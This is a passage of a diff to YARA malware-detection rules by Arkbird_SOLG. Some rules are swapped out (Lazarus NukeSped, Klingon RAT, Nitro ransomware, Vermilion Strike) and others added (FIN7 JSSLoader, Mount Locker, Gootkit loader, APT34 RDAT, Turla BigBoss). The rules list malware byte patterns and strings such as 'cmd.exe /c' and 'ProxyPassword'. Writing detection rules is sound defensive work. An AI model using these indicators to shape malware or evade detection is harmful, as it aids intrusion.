"54484520494E535452554354494F4E2041542030783763663538326164205245464552454E434544204D454D4F525920415420307830303030303030302E2054" ascii + $s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii + $s3 = "5C4164646974696F6E735C73616D636C69656E742E657865" ascii + $s4 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" fullword ascii + $s5 = "\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\" fullword ascii + $s6 = "Software\\Borland\\Delphi\\Locales" fullword ascii + $s7 = "SOFTWARE\\Borland\\Delphi\\RTL" fullword ascii + $s8 = "Software\\Borland\\Locales" fullword ascii + $s9 = "FastMM Borland Edition" fullword ascii + $s10 = "#7@Qhq\\1@NWgyxeH\\_bpdgc" fullword ascii + $s11 = "4150504C49434154494F4E204552524F52" ascii + $s12 = "436D442E457865202F6320" ascii + $s13 = "6572726F72" ascii + $s14 = "WndProcPtr" fullword ascii + $s15 = "Request.UserAgent" fullword ascii + $s16 = "ProxyPassword<" fullword ascii condition: - uint16( 0 ) == 0xfacf and filesize < 200KB and 10 of them + uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "dbdfe8b60c1de0a9201044b3e91b9502" or 12 of them ) } - -rule ARKBIRD_SOLG_APT_MAL_NK_Lazarus_Nukesped_June_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Jssloader_Jun_2021_1 : FILE { meta: - description = "Detect NukeSped malware used by APT Lazarus" + description = "Detect JSSLoader malware" author = "Arkbird_SOLG" - id = "7a5b27df-43bd-544d-8d0f-72e58ce3064c" - date = "2020-06-11" - modified = "2020-06-12" - reference = "https://twitter.com/batrix20/status/1270924079826997248" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-12/Lazarus/Lazarus_June_2020_1.yar#L28-L54" + id = "192b1386-f0bc-54e8-9341-84f77f4f07c5" + date = "2021-06-04" + modified = "2021-06-05" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-04/FIN7/MAL_JSSLoader_Jun_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "b1332eb255f8ae9ae6a68ef8ef86d9f5472584cae8161c27186e341990df7eae" + logic_hash = "73942afed6b3471be07be1fba3e7f90ec7f2377a1167aeef70627cd07faa3681" score = 75 quality = 75 tags = "FILE" - hash1 = "90ea1c7806e2d638f4a942b36a533a1da61adedd05a6d80ea1e09527cf2d839b" + hash1 = "59c6acc8f6771ea6eeb8d8f03832642d87f9aa7eb0c3205398d31ad08e019a9c" + hash2 = "2609c6ec5d4fdde28d29c272484da66e0995e529cf302ed46f94c68cd99352e3" + hash3 = "ea167f5460c5f920699e276fb0c51f32c862256415c57edb4bda5760a70b9e4d" + hash4 = "822457c427a0776b41dd8f3479070e56fdd53ccd0175418d4e7d85065ec7d7d1" + tlp = "White" + adversary = "FIN7" strings: - $s1 = "%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X" fullword wide - $s2 = "<htr<jtb<lt6<tt&<wt" fullword ascii - $s3 = "Content-Disposition: form-data; name=\"file\"; filename=\"%s\"" fullword ascii - $s4 = "Content-Type: multipart/form-data; boundary=" fullword wide - $s5 = "POST" fullword ascii - $s6 = "Content-Type: octet-stream" fullword ascii - $s7 = "CONOUT$" fullword ascii - $s8 = "cmd.exe /c" fullword ascii - $s9 = "2>&1" fullword ascii - $s10 = "WINHTTP.dll" fullword ascii - $s11 = "WinHttpSendRequest" fullword wide - $s12 = "ObtainUserAgentString" fullword ascii - $s13 = "WS2_32.dll" fullword ascii - $s14 = "WinHttpReceiveResponse" fullword ascii - $s15 = "GetLogicalDrives" fullword ascii + $s1 = { 8b 45 c8 83 78 0c 00 0f 84 ce 00 00 00 8b 45 c8 8b 4d 08 03 48 0c 8b f4 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 bc 83 7d bc 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d 08 03 48 10 89 4d f8 8b 45 c8 8b 4d 08 03 08 89 4d ec 8b 45 ec 3b 45 08 75 06 8b 45 f8 89 45 ec 8b 45 ec 83 38 00 74 6c 8b 45 ec 8b 08 81 e1 00 00 00 } + $s2 = { 8b f4 6a 04 68 00 10 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 f8 83 7d f8 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 8b 45 c8 8b 08 51 8b 55 f8 52 e8 [2] 00 00 83 c4 0c 8b f4 8b 45 f8 50 8b fc ff 15 [3] 00 3b fc e8 [2] 00 00 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b f4 6a 04 68 00 10 00 00 68 00 11 00 00 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 ec 83 7d ec 00 75 02 eb 3e 8b 45 c8 8b 48 08 8b 11 89 55 e0 83 7d e0 ff 75 0c c7 85 00 ff ff ff 00 00 00 00 eb 09 8b 45 e0 89 85 00 ff ff ff 8b 8d 00 ff ff ff 8b 55 ec 8b 45 f8 89 04 8a 8b 45 ec 64 a3 2c 00 00 00 5f 5e 5b 81 c4 00 01 00 00 3b ec e8 [2] 00 00 8b e5 5d } + $s3 = { c7 45 f0 61 00 00 00 c7 45 c8 20 00 00 00 c7 45 cc 88 00 00 00 c7 45 dc 01 00 00 00 8d 45 f0 89 45 d0 33 c0 66 89 45 d4 c7 45 d8 00 00 00 00 c7 45 e0 00 00 00 00 8b 45 08 89 45 e4 8b f4 8d 45 c8 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 b0 83 7d b0 ff 74 17 8b f4 8d 45 bc 50 8b 4d b0 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 52 8b cd 50 8d 15 2c 13 40 00 e8 [2] 00 00 58 5a 5f 5e 5b 8b 4d fc 33 cd e8 [2] 00 00 81 c4 2c 01 00 00 3b ec e8 [2] 00 00 8b e5 } + $s4 = { 8b 45 ec 8b 08 81 e1 ff ff 00 00 8b f4 51 8b 55 bc 52 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 4d f8 89 01 eb 25 8b 45 ec 8b 08 8b 55 08 8d 44 0a 02 8b f4 50 8b 4d bc 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 55 f8 89 02 8b 45 f8 83 c0 04 89 45 f8 8b 45 ec 83 c0 04 89 45 ec eb 8c 8b 45 c8 83 c0 14 89 45 c8 e9 25 ff ff ff 5f 5e 5b 81 c4 08 01 00 00 3b ec e8 [2] 00 00 8b e5 } condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "c8379f0eeeb3a522f1dd75aa5f1500b0" or 12 of them ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and filesize < 900KB and all of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Klingon_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Mount_Locker_Nov_2020_1 : FILE { meta: - description = "Detect the Klingon RAT" + description = "Detect Mount Locker ransomware (November 2020 variant)" author = "Arkbird_SOLG" - id = "bf114c4d-3010-5b34-954e-82794e30edcb" - date = "2021-06-19" - modified = "2021-06-21" - reference = "https://www.intezer.com/blog/malware-analysis/klingon-rat-holding-on-for-dear-life/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-20/Klingon/MAL_Klingon_Jun_2021_1.yara#L1-L18" + id = "20fde6f4-ef7d-57c4-8cc2-a6ea810c2b0c" + date = "2020-11-20" + modified = "2020-11-22" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Mount Locker/Ran_Mount_Locker_Nov_2020_1.yar#L1-L26" license_url = "N/A" - logic_hash = "283452d24edea988dc353fada4cd1e050db244a48cc6ab30f70e1900ca9c7c2f" + logic_hash = "028e89e9c0c46ac5c36fee5cbfba068b4c6c1f53aa224e454ebd358f2c6ae9a9" score = 75 quality = 75 tags = "FILE" - hash1 = "44237e2de44a533751c0baace09cf83293572ae7c51cb4575e7267be289c6611" - hash2 = "c98bb0649262277ec9dd16cf27f8b06042ff552535995f2bdd3355d2adeff801" - hash3 = "e8eea442e148c81f116de31b4fc3d0aa725c5dbbbd840b446a3fb9793d0b9f26" - tlp = "White" - adversary = "-" + hash1 = "e7c277aae66085f1e0c4789fe51cac50e3ea86d79c8a242ffc066ed0b0548037" + hash2 = "226a723ffb4a91d9950a8b266167c5b354ab0db1dc225578494917fe53867ef2" strings: - $seq1 = { 81 3a 70 72 6f 78 0f 85 [2] 00 00 80 7a 04 79 0f 84 [2] 00 00 48 83 f9 05 75 12 81 3a 73 68 65 6c 75 0a 80 7a 04 6c 0f 84 [2] 00 00 48 83 f9 06 75 14 81 3a 62 69 6e 61 75 0c 66 81 7a 04 72 79 0f 84 [2] 00 00 48 83 f9 03 0f 85 ?? 04 00 00 66 81 3a 63 6d 0f 85 [2] 00 00 80 7a 02 64 0f 84 [2] 00 00 48 83 f9 06 } - $seq2 = { 48 8d 05 [3] 00 48 89 ?? 24 [1-4] 48 c7 84 24 ?? 00 00 00 ?? 00 00 00 48 8d 0d [3] 00 48 89 ?? 24 [0-4] 48 c7 ?? 24 } - $seq3 = { 48 8d 0d [3] 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 8b 94 24 ?? 00 00 00 48 89 94 24 ?? 00 00 00 48 89 8c 24 ?? 00 00 00 48 89 84 24 ?? 00 00 00 48 8d 05 [3] 00 48 89 04 24 48 c7 44 24 08 08 00 00 00 48 8d 84 24 ?? 00 00 00 48 89 44 24 10 48 c7 44 24 18 03 00 00 00 48 c7 44 24 20 03 00 00 00 e8 [3] ff 48 8b 44 24 30 48 89 44 24 58 48 8b 4c 24 28 48 89 8c 24 ?? 00 00 00 } + $s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword wide + $s2 = "VBA6.DLL" fullword ascii + $s3 = "MSComDlg.CommonDialog" fullword ascii + $s4 = "DllFunctionCall" fullword ascii + $s5 = { 00 2a 00 5c 00 41 00 43 00 3a 00 5c [35-160] 00 2e 00 76 00 62 00 70 } + $s6 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\COMCTL32.oca" fullword wide + $s7 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\MSFLXGRD.oca" fullword ascii + $s8 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii + $s9 = "SFLXGRD.OCX" fullword ascii + $s10 = "COMDLG32.OCX" fullword ascii + $s11 = "COMCTL32.OCX" fullword ascii + $seq1 = { 42 00 24 00 40 00 43 00 67 00 2f 00 44 00 08 00 4a 00 51 00 77 00 54 00 76 00 25 00 55 00 48 00 00 00 00 00 5d 00 4c 00 09 00 53 00 3e 00 73 00 62 00 52 00 50 00 0b 00 61 00 01 00 61 01 3a 00 03 00 57 00 4f 00 75 00 54 00 71 00 22 00 53 00 37 00 00 00 30 00 1d 00 46 00 5a 00 5c 00 48 00 78 00 63 00 02 00 1d 00 23 00 3b 00 28 00 55 00 73 00 28 00 61 00 3b 00 00 00 00 00 44 00 4e 00 4a 00 4d 00 61 00 40 00 59 00 2b 00 38 00 02 01 04 01 54 00 08 00 52 00 56 00 1d 00 42 00 3e 00 00 00 00 00 35 00 70 00 3b 00 37 00 6f 00 26 00 26 00 40 00 64 00 02 00 51 00 3c 00 41 00 16 00 3e 00 00 00 47 00 58 00 33 00 89 00 54 00 2d 00 29 00 50 00 04 00 59 00 5d 00 4f 00 1b 00 36 00 30 00 83 00 41 00 00 00 2a 00 54 00 47 00 86 00 56 00 19 00 24 00 4e 00 3a 00 45 00 51 00 4d 00 1e 00 3b 00 2b 00 81 00 35 00 00 00 3a 00 65 00 57 00 03 00 2d 00 62 00 53 } + $seq2 = { 5a 00 3d 00 14 00 51 00 1f 00 67 00 1c 00 24 00 00 00 00 00 00 00 6f 00 27 00 62 00 5d 00 6d 00 30 00 01 00 27 01 25 00 62 00 7b 00 05 00 56 00 24 00 3c 00 3d 00 5d 00 2e 00 62 00 03 00 0a 00 57 00 6a 00 02 00 5d 00 02 01 23 01 67 00 20 00 54 00 01 00 6c 01 17 00 0b 00 44 00 21 00 1e 00 01 00 52 01 60 00 3b 00 11 00 45 00 2a 00 59 00 2c 00 19 00 00 00 5a 00 1e 00 61 00 5c 00 6b 00 31 00 01 00 1a 01 2d 00 4a 00 6f 00 11 00 57 00 2c 00 3a 00 3a 00 50 00 2a 00 61 00 02 00 07 00 53 00 7b 00 01 01 5b 00 02 01 6a 01 0b 00 03 00 6d 00 43 00 0c 00 64 00 4d 00 44 00 5f 00 08 00 5a 00 68 00 2b 00 32 00 68 } condition: - uint16( 0 ) == 0x5a4d and filesize > 300KB and all of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and 6 of ( $s* ) and 1 of ( $seq* ) } -rule ARKBIRD_SOLG_RAN_Nitro_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_Loa_JS_Gootkit_Nov_2020_1 : FILE { meta: - description = "Detect Nitro ransomware" + description = "Detect JS loader used on the Gootkit killchain (November 2020)" author = "Arkbird_SOLG" - id = "256059b2-1683-5108-8fc8-3cf0b2e7b613" - date = "2021-08-12" - modified = "2021-08-13" - reference = "https://bazaar.abuse.ch/browse/tag/NitroRansomware/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-13/Nitro/RAN_Nitro_Aug_2021_1.yara#L1-L23" + id = "649133bd-a44c-5d99-befa-0508fed27ed8" + date = "2020-11-21" + modified = "2020-11-21" + reference = "https://twitter.com/ffforward/status/1330214661577437187" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Gootkit/Loa_JS_Gootkit_Nov_2020_1.yar#L1-L16" license_url = "N/A" - logic_hash = "c31267cd9bc6c63db8e32b2a0e7518b0432d62f1de52117b9e903fc3370a1f4d" + logic_hash = "f24d31e7107b8c59b969481596a5e1369933bf2b0fa5117cd1aa5f7ea116d8d5" score = 75 quality = 75 tags = "FILE" - hash1 = "1194aebc9a0016084f6966b07a171e4c62ce1b21580d177a876873641692ee13" - hash2 = "6546f0638160cb590b4ead2401fb55d48e10b2ee1808ff0354fff52c9e2f62bf" - hash3 = "89dbea1e4b387325f21c784dc72fcf52599f69e1ded27d1b830ff57ae4831559" - hash4 = "d8e9561612c6e06160d79abde41c7b66e4921a1c041ad5c2658d43050b4fd2d0" - hash5 = "dbed3399932fabe6f7f863403279ac9a6b075aa307dd445df2c7060157d3063b" - tlp = "white" - adversary = "-" + hash1 = "7aec3ed791529182c0f64ce34415c3c705a79f3d628cbcff70c34a9f73d8ff42" strings: - $s1 = { 1f 1a 28 ?? 00 00 0a [0-2] 72 ?? 14 00 70 28 15 00 00 0a 80 32 00 00 04 28 ?? 00 00 06 7e 32 00 00 04 6f ?? 00 00 0a [0-1] 7e 2f 00 00 04 16 7e 32 00 00 04 7e 30 00 00 04 7e 31 00 00 04 60 28 ?? 00 00 06 26 2a } - $s2 = { 02 [0-5] 72 df 00 00 70 28 1b 00 00 } - $s3 = { 1f 1a 28 ?? 00 00 0a 0a 1f 1c 28 ?? 00 00 0a 0b 7e 21 00 00 04 06 72 ?? 0c 00 70 28 15 00 00 0a 6f 16 00 00 0a [2] ?? 00 } - $s4 = { 7e 4e 00 00 0a 0a [0-1] 72 [2] 00 70 73 ?? 00 00 06 0b [0-1] 07 72 [2] 00 70 6f ?? 00 00 06 [1-3] 8d 7f 00 00 01 25 16 1f 0a 9d 6f ?? 00 00 0a 1c 9a 0a [0-1] de ?? 07 2c ?? 07 6f 42 00 00 0a } - $s5 = { 7e 4e 00 00 0a 0a [0-1] 73 ?? 00 00 0a 0b [0-1] 07 72 ?? 14 00 70 6f ?? 00 00 0a [0-2] 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a [0-2] 6f ?? 00 00 0a 0a } + $s1 = { 7b [4-6] 5b [4-6] 5d 28 [4-6] 5b [4-6] 5d 29 28 [4-6] 5b [4-6] 5d 29 3b 7d } + $s2 = { 7b 72 65 74 75 72 6e 20 [4-6] 20 25 20 28 [4-6] 2b [4-6] 29 3b 7d } + $s3 = { 7b [4-6] 20 3d 20 [4-6] 28 [4-6] 29 2e 73 70 6c 69 74 28 [4-6] 29 3b 7d } + $s4 = { 7b 72 65 74 75 72 6e 20 [4-6] 2e 63 68 61 72 41 74 28 [4-6] 29 3b 7d} + $s5 = { 7b [4-6] 5b [4-6] 5d 20 3d 20 [4-6] 5b [4-6] 5b [4-6] 5d 5d 3b 7d } condition: - uint16( 0 ) == 0x5A4D and filesize > 25KB and all of ( $s* ) + filesize > 1KB and 2 of them } -rule ARKBIRD_SOLG_MAL_Stager_Vermilion_Strike_Sep_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT34_RDAT_July_2021_1 : FILE { meta: - description = "Detect the windows version of the stager of Vermilion Strike implant" + description = "Detect RDAT used by APT34" author = "Arkbird_SOLG" - id = "7a8ae258-1fb4-5a24-b69e-3a632e00bfae" - date = "2021-09-14" - modified = "2021-09-16" - reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Stager_Vermilion_Strike_Sep_2021_1.yara#L1-L18" + id = "136f8a9e-e680-5fab-8113-b4d33a47bc34" + date = "2021-07-15" + modified = "2021-07-16" + reference = "https://twitter.com/ShadowChasing1/status/1415206437806960647" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-15/APT34/APT_APT34_RDAT_July_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "cc4d59c92faba1f3435c8454071a1e1c60b6339393796c76e64b890bb85d13cc" - score = 50 + logic_hash = "269788430ca8faff4b0ea5ec7c2a62f99f5f48ef3bc4ea3f7a27f1d735e64819" + score = 75 quality = 75 tags = "FILE" - hash1 = "3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc" - level = "experimental" + hash1 = "b59dea96ef94e8d32ee1a1805174318643569bbdca0d7569ede19467ff09dcdc" + hash2 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c" + hash3 = "f9f6dbb09773f708b125a4cca509047eb33c8c53d9e15a8c41ae3d7a8c3e5c7c" tlp = "White" - adversary = "Vermilion Strike" + adversary = "APT34" strings: - $s1 = { a1 b0 62 41 00 33 c4 50 8d 84 24 d0 00 00 00 64 a3 00 00 00 00 8b da 8b 84 24 ec 00 00 00 8b b4 24 e0 00 00 00 8b bc 24 e4 00 00 00 8b ac 24 e8 00 00 00 8d 54 24 2c 52 89 44 24 28 89 4c 24 2c e8 95 f0 ff ff 33 c0 89 84 24 d8 00 00 00 c7 84 24 88 00 00 00 0f 00 00 00 89 84 24 84 00 00 00 88 44 24 74 6a 17 68 fc 3b 41 00 8d 44 24 78 c6 84 24 e0 00 00 00 01 e8 9e 0b 00 00 6a 02 68 14 3c 41 00 8d 44 24 78 e8 8e 0b 00 00 6a 00 6a 00 6a 00 6a 01 55 ff 15 44 21 41 00 8b e8 55 6a 02 57 53 8b ce 89 6c 24 2c e8 8d fc ff ff 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 53 56 55 ff 15 58 21 41 00 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 57 68 f8 3b 41 00 50 89 44 24 40 ff 15 4c 21 41 00 } - $s2 = { 64 a1 00 00 00 00 50 83 ec 60 a1 b0 62 41 00 33 c4 89 44 24 58 53 55 56 57 a1 b0 62 41 00 33 c4 50 8d 44 24 74 64 a3 00 00 00 00 8b 84 24 88 00 00 00 8b ac 24 84 00 00 00 8b f9 89 44 24 18 33 c0 8d 4c 24 1c 51 8b f2 33 db 89 44 24 30 89 44 24 34 89 44 24 38 89 44 24 3c 89 44 24 40 89 44 24 44 89 44 24 48 89 44 24 4c 89 44 24 50 89 44 24 20 89 44 24 24 89 44 24 28 89 44 24 2c ff 15 2c 21 41 00 85 c0 74 21 39 5c 24 1c 74 05 bb 01 00 00 00 8b 44 24 20 } - $s3 = { 50 56 8d 4c 24 58 e8 fc f2 ff ff 6a 01 8d 54 24 18 52 8d 44 24 58 50 89 9c 24 88 00 00 00 33 c0 c6 44 24 20 3d e8 0d 01 00 00 83 f8 ff 74 4f 80 bc 24 8c 00 00 00 00 74 16 56 bb 18 3c 41 00 8d 7c 24 54 e8 8f fd ff ff 83 c4 04 84 c0 75 2f 56 bb 20 3c 41 00 8d 7c 24 54 e8 79 fd ff ff 83 c4 04 84 c0 75 19 56 bb 28 3c 41 00 e8 67 fd ff ff 83 c4 04 84 c0 74 07 c7 45 00 04 00 00 00 83 7c 24 68 10 72 19 } - $s4 = { 8d 44 24 18 50 8d 4c 24 18 51 6a 1f 53 c7 44 24 28 04 00 00 00 ff 15 3c 21 41 00 81 4c 24 14 00 01 00 00 6a 04 8d 54 24 18 52 6a 1f 53 } + $s1 = { 0a 6f 70 74 20 25 6c 75 28 25 6c 75 29 20 73 74 61 74 20 25 6c 75 28 25 6c 75 29 20 73 74 6f 72 65 64 20 25 6c 75 20 6c 69 74 20 25 75 20 64 69 73 74 20 25 75 } + $s2 = { 0a 6c 61 73 74 5f 6c 69 74 20 25 75 2c 20 6c 61 73 74 5f 64 69 73 74 20 25 75 2c 20 69 6e 20 25 6c 64 2c 20 6f 75 74 20 7e 25 6c 64 28 25 6c 64 25 25 29 } + $s3 = { 70 65 6e 53 43 4d 61 6e 61 67 65 72 20 66 61 69 6c 65 64 20 28 25 64 29 0a } + $s4 = { 43 72 65 61 74 65 53 65 72 76 69 63 65 20 66 61 69 6c 65 64 20 28 25 64 29 0a 00 00 00 00 00 00 53 65 72 76 69 63 65 20 69 6e 73 74 61 6c 6c 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 0a } + $s5 = { 49 8b cd ff 15 56 22 07 00 c6 05 87 7b 0a 00 00 c7 05 81 7b 0a 00 60 ea 00 00 49 83 c9 ff 45 33 c0 48 8d 55 20 48 8d 0d f3 7b 0a 00 e8 26 a4 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 00 48 8d 0d bc 7b 0a 00 e8 0f a4 ff ff 41 b8 07 00 00 00 48 8d 15 92 b8 08 00 48 8d 0d 03 7c 0a 00 e8 16 a3 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 40 48 8d 0d 6c 7b 0a 00 e8 df a3 ff ff 41 b8 ?? 00 00 00 48 8d 15 6a b8 08 00 48 8d 0d 13 7c 0a 00 e8 e6 a2 ff ff 48 8d 1d 0f 7d 0a 00 48 8b c3 48 83 3d 1c 7d 0a 00 08 48 0f 43 05 fc 7c 0a 00 48 89 44 24 58 48 8d 05 a0 03 00 00 48 89 44 24 60 48 89 7c 24 68 48 89 7c 24 70 48 8d 4c 24 58 ff 15 4e 21 07 00 85 c0 75 29 48 83 3d e2 7c 0a 00 08 48 0f 43 1d c2 7c 0a 00 48 8b d3 33 c9 ff 15 37 21 07 00 48 85 c0 74 09 48 8b c8 ff 15 f1 20 07 00 83 7c 24 30 02 7f 5d 48 8d 44 24 48 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 0a 71 ff ff 33 d2 33 c9 ff 15 60 22 07 00 48 8d 44 24 50 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 a8 95 ff ff 33 d2 33 c9 ff 15 3e 22 07 00 83 ca ff 48 8b c8 ff 15 f2 20 07 00 b9 64 00 00 00 ff 15 47 22 07 } + $s6 = { 48 89 7d f0 48 89 7d f8 45 33 c0 33 d2 48 8d 4d e0 e8 43 a7 ff ff 41 b8 2c 00 00 00 48 8d 15 be bc 08 00 48 8d 4d e0 e8 ad a7 ff ff 48 89 7d 70 48 89 7d 78 45 33 c0 33 d2 48 8d 4d 60 e8 17 a7 ff ff 45 33 c0 48 8d 15 77 94 08 00 48 8d 4d 60 e8 84 a7 ff ff 83 7c 24 30 02 75 6e 48 8d 85 a8 00 00 00 48 89 85 a0 00 00 00 41 b8 03 00 00 00 49 8b 55 08 48 8d 8d a0 00 00 00 e8 c9 0a 00 00 48 8b 95 a0 00 00 00 48 8d 4d a0 e8 89 a5 ff ff 48 8d 85 a8 00 00 00 48 8b 8d a0 00 00 48 89 85 b0 10 00 00 48 8b da 48 8b f9 33 f6 89 74 24 78 c7 45 80 18 00 00 00 c7 45 90 01 00 00 00 48 89 75 88 45 33 c9 4c 8d 45 80 48 8d 54 24 68 48 8d 4c 24 60 ff 15 81 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 60 ff 15 68 fe 06 00 45 33 c9 4c 8d 45 80 48 8d 54 24 70 48 8d 4c 24 58 ff 15 59 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 58 ff 15 40 fe 06 00 33 c0 48 89 45 98 48 89 45 a0 48 89 45 a8 33 d2 44 8d 46 68 48 8d 4d c0 e8 ab 89 04 00 c7 45 c0 68 00 00 00 48 8b 44 24 68 48 89 45 20 48 8b 44 24 70 48 89 45 18 81 4d fc 00 01 00 00 48 8b d3 48 8d 4d 30 e8 bf fe ff ff 90 4c 8b c0 48 8d 8d 90 00 00 00 e8 9f 0d 00 00 90 45 33 c0 b2 01 48 8d 4d 30 e8 d0 7d ff ff 48 8d 95 90 00 00 00 48 83 bd a8 00 00 00 08 48 0f 43 95 90 00 00 00 48 8d 45 98 48 89 44 24 48 48 8d 45 c0 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 a7 fd 06 00 48 8b 4c 24 68 ff 15 94 fd 06 00 48 8b 4c 24 70 ff 15 89 fd 06 00 48 89 b5 80 00 00 00 48 89 b5 88 00 00 00 } condition: - uint16( 0 ) == 0x5A4D and filesize > 30KB and 3 of them + uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Beacon_Vermilion_Strike_Sep_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Turla_Bigboss_Apr_2021_1 : FILE { meta: - description = "Detect the windows version of the beacon of Vermilion Strike implant" + description = "Detects new BigBoss implants (SilentMoon/GoldenSky)" author = "Arkbird_SOLG" - id = "61bb0f02-0eb3-5abe-a2fc-65b94a9486f7" - date = "2021-09-14" - modified = "2021-09-16" - reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Beacon_Vermilion_Strike_Sep_2021_1.yara#L1-L20" + id = "6f6c8d1e-f2c7-5f08-b1dc-ce726c6d89be" + date = "2021-04-06" + modified = "2021-07-17" + reference = "https://twitter.com/DrunkBinary/status/1304086230540390400" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-17/BigBoss/APT_Turla_BigBoss_Apr_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "801d93fc250666a48fbdd504c8bacab74f0bf7f534a7301a20ad79df3b41750d" + logic_hash = "ce0ffdad9eecb79128b6c08c87914f356c86ac631655c76905a06d953add3998" score = 75 - quality = 75 + quality = 71 tags = "FILE" - hash1 = "c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5" - hash2 = "07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f" - hash3 = "7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492" - tlp = "White" - adversary = "Vermilion Strike" + hash1 = "94421ccb97b784c43d92c4b1438481eee9c907db6b13f6cfc4b86a6bb057ddcd" + hash2 = "67bfa585ace8df20deb1d8a05bd4acf2c84c6fa0966276b3ea7607056abe25bb" + hash3 = "6ca0b4efe077fe05b2ae871bf50133c706c7090a54d2c3536a6c86ff454caa9a" strings: - $s1 = { 50 c7 03 01 00 00 00 e8 cc ?? 00 00 89 43 04 83 f8 ff 74 2c 8b 4d 08 6a 00 8d 44 24 0c 50 53 6a 08 6a 01 51 e8 91 ?? 00 00 85 c0 75 13 8b 44 24 08 66 83 78 08 01 6a 01 50 74 38 e8 80 ?? 00 00 8b 4e 10 2b 4e 0c b8 93 24 49 92 f7 e9 03 d1 c1 fa 04 8b c2 c1 e8 1f 47 03 c2 3b f8 0f 8c 30 ff ff ff 53 ff 15 } - $s2 = { 8b 4c 24 1c 6a 00 6a 00 6a 00 6a 01 51 ff 15 5c a2 02 10 8b 55 0c 8b f0 56 6a 02 53 52 8b cf 89 74 24 34 e8 f0 fb ff ff 8b 45 0c 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 50 57 56 ff 15 50 a2 02 10 8b 4c 24 30 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 53 51 50 89 44 24 3c ff 15 64 a2 02 10 8b f8 89 7c 24 14 8d 49 00 8b b4 24 90 00 00 00 8b 5c 24 7c 